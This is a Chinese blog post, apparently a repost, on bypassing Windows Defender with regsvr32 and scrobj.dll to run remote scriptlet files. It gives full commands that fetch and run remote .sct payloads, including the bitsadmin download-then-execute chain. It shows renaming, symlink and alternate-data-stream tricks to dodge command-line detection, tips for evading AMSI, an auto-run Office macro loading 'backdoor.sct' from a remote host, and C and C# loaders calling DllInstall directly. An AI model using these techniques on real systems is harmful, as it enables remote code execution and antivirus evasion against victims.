1. 程式人生 > 實用技巧 >regsvr32 bypass windows defender 新思路

regsvr32 bypass windows defender 新思路

原文連結:blog

在對regsvr32的用法進行了解之後,對於Casey Smith的遠端js指令碼執行命令的思路很感興趣。

命令語法如下:

regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll

原理則是利用com元件的scriptlet註冊方式,關於scriptlet的介紹可以參考MSDN,差不多就是用指令碼形式實現com元件和asp互操作,但其實除了給asp呼叫之外還可以給其他.net元件呼叫。

命令中的引數介紹:

  • /s: 靜默模式,不彈框
  • /n: 不呼叫DllRegisterServer
  • /u: 解除安裝com元件
  • /i: 傳給DllInstall
    的引數內容
  • scrobj.dll: com伺服器,全名 Windows Script Component,DllInstall方法在這個元件中實現

根據msdn關於DllInstall的介紹中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32允許註冊過程中dll進行一些自定義的安裝過程,該過程在DllInstall中實現。

該函式原型如下:

HRESULT DllInstall(
  BOOL   bInstall,
  PCWSTR pszCmdLine
);

regsvr32中的/i引數指定的內容,會被直接傳遞到pszCmdLine,/u引數會將false傳遞到bInstall,所以對sct檔案的呼叫肯定在scrobj.dll中的install過程。

這麼看,regsvr32只不過是負責呼叫dll的一個工具,可能還會有寫入登錄檔的功能。

理解到這裡之後,我們在defender開啟的情況下嘗試一下這個方法,發現被攔截:

報毒:Backdoor:JS/Relvelshe.A,看受影響專案是指令碼檔案,可能是指令碼內容沒有過amsi檢測。
檔案內容:

<?XML version="1.0"?>
<component id="TESTING">
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]>
</script>
</registration>
</component>

經測試,將new ActiveXObject("WScript.Shell").Run("calc.exe")中字串提出來賦值給變數就沒問題了(指令碼內容太複雜不好改,也可以試試直接hook掉amsiscanbuffer)。

在sct不被殺的情況下,再次執行regsvr32,仍然被攔截:Trojan:Win32/Powemet.A!attk

從報毒中的cmdline可知檢測的是命令列內容,所以在網上可找到的繞過姿勢有四種(參考wh0ale):

  1. 改變scrobj.dll的名稱
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
  1. 為scrobj.dll建立符號連結
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
  1. 利用NTFS ADS功能繞過
type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
  1. 先將sct檔案放到本地,然後執行
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll

經過上面分析,其實可以看出來其實可以不用regsvr32.exe,使用他的目的是因為他是windows自帶的,有微軟簽名,如果不考慮這個的情況下其實可以寫程式直接呼叫scrobj.dll的DllInstall方法實現程式碼執行。

對於呼叫dll匯出的函式,我首先想到的使用c實現:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h>

int main()
{
    TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
    HMODULE hDllScr = LoadLibrary(dllpath);
    if (hDllScr == NULL)
    {
        puts("Load scrobj.dll fail!");
    }
    puts("Load scrobj.dll success!");
    printf("Address: %p\n", hDllScr);
    void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
    if (DllInstallProcAddr == NULL)
    {
        puts("Can not found DllInstall in scrobj.dll!");
    }
    printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
    //((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
    ((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
    return 0;
}

很不幸,在執行的時候一直報錯:

看這個原因和js有關係,但是無法具體確定哪裡的原因,所以沒想很多直接除錯,對比regsvr32和他呼叫scrobj.dll的區別之處,最終發現到scrobj.dll的一處判斷的地方沒通過導致報錯,貌似不是regsvr32做了什麼暗箱操作。

調了十多遍,也不知道那處判斷是做什麼的,休息了幾天,重新回到這個問題:如何手動呼叫scrobj.dll對DllInstall傳參?

查了半天資料,終於看到一篇文章:https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/,其中講了兩點內容:

  1. 如何不用regsvr32執行遠端com指令碼
  2. 在office巨集中呼叫已經存在磁碟上的dll

第一點正是我所需要的,看了之後發現這位大佬是在office巨集中實現的,巨集程式碼如下:

Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long

Sub AutoOpen()
    DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") ' False = "Don't install"
End Sub

看程式碼,和上面我用c寫的程式碼差不多,但是本地在office中用巨集測試了一下真的可行。

經過一番思考,發現VB也是基於.net平臺的,是不是這個原因,我用c寫的肯定沒有.net環境,改用c#試一下:

using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.ComponentModel;

namespace scrobj_call_csharp
{
    static class NativeMethod
    {
        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    }

    class Program
    {
        [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
        private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);

        static void Main(string[] args)
        {
            const string dllPath = "scrxxobj.dll";
            IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
            if(hDllScr == IntPtr.Zero)
            {
                var lasterror = Marshal.GetLastWin32Error();
                var innerEx = new Win32Exception(lasterror);
                innerEx.Data.Add("LastWin32Error", lasterror);

                throw new Exception("Can't load Dll " + dllPath, innerEx);
            }

            IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
            DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));

            fDllInstall(false, "http://127.0.0.1\\ttt.txt");
        }
    }
}

稍微麻煩一點,但是真的呼叫成功了。如此看來,使用C#或者其他基於.net的程式碼直接呼叫scrobj.dll繞過Defender也是可行的。


經過查資料發現c也可以使用.net環境,在vs中新建一個clr空專案,將cpp檔案新增上去編譯即可!